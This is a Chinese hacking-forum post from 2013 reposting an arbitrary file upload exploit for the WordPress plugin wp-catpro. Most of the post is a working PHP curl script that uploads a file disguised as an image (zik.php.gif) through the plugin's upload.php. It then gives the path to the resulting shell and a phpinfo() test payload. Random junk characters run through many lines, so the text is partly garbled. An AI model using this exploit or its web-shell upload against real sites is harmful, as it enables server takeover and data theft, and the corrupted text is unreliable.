找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2206|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability6 r+ q+ ~( d1 [+ S) U
#-----------------------------------------------------------------------/ b! u* y  f) c, B6 A6 ~

/ a; \# Z) ]* |) P& s5 y作者  => Zikou-16
$ z) g% @3 \' Q邮箱 => zikou16x@gmail.com
4 }6 _+ c3 M+ C测试系统 : Windows 7 , Backtrack 5r3
2 W* Z/ F# u% {# e下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
5 h0 F; I) P8 [8 S7 l. r####. a0 ?- e2 X/ W1 R- T

' w/ u  e* W. F% Y/ b#=> Exploit 信息:
( y! R' U/ ]* E" t- G* O& I------------------; M' c! C3 _" O$ v; T% w
# 攻击者可以上传 file/shell.php.gif& ?7 T/ U4 _9 W2 c/ g
# ("jpg", "gif", "png")  // Allowed file extensions6 t0 z' V: c8 s8 j0 e
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
0 a% G% L" R. i- E0 b& l. Z2 Y# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
( w3 N# A# m* `2 \5 ~4 k+ Q* M------------------
9 z# }9 _$ {9 }! M0 \
9 _: W, J/ q& ]0 V#=> Exploit3 v2 ?' q! g8 Q, P& r# x  v
-----------
7 V1 j6 D0 y8 e2 I1 j% U2 h+ m( U<?php
: E% Q9 q' K; d9 B
6 x  q" T+ P$ t5 u% N$uploadfile="zik.php.gif";
  g: F& T# |/ H  R: \" D$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
# L1 \: q# y3 R! t. D/ ncurl_setopt($ch, CURLOPT_POST, true);
+ I3 f( G& v9 S) n- |' e) ycurl_setopt($ch, CURLOPT_POSTFIELDS,
7 C3 J, K8 M" U7 ^# i& @array('Filedata'=>"@$uploadfile",/ u9 H5 R" ?3 q- t" N) l1 ^+ }
'folder'=>'/wp-content/uploads/catpro/'));3 N1 F* H' a- l9 S& L
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ i5 I& }( P6 c4 O1 z4 ~0 C( h$postResult = curl_exec($ch);
9 M2 ~: }* B% kcurl_close($ch);0 A: Y7 q5 y" C" v" P( M

' ~/ m. U( h0 V! p7 M! \: aprint "$postResult";& m* c; Q! t6 g$ C/ i
: h3 f2 }9 h4 T: ?" p
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif- H% `  C* }* J5 m. W
  ?>
, w, [4 i7 v! T- ^2 y$ J5 r<?php0 f9 l* d7 E! C  u# ^
phpinfo();! h, ]6 V: U3 x( R+ K2 f1 A/ D
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表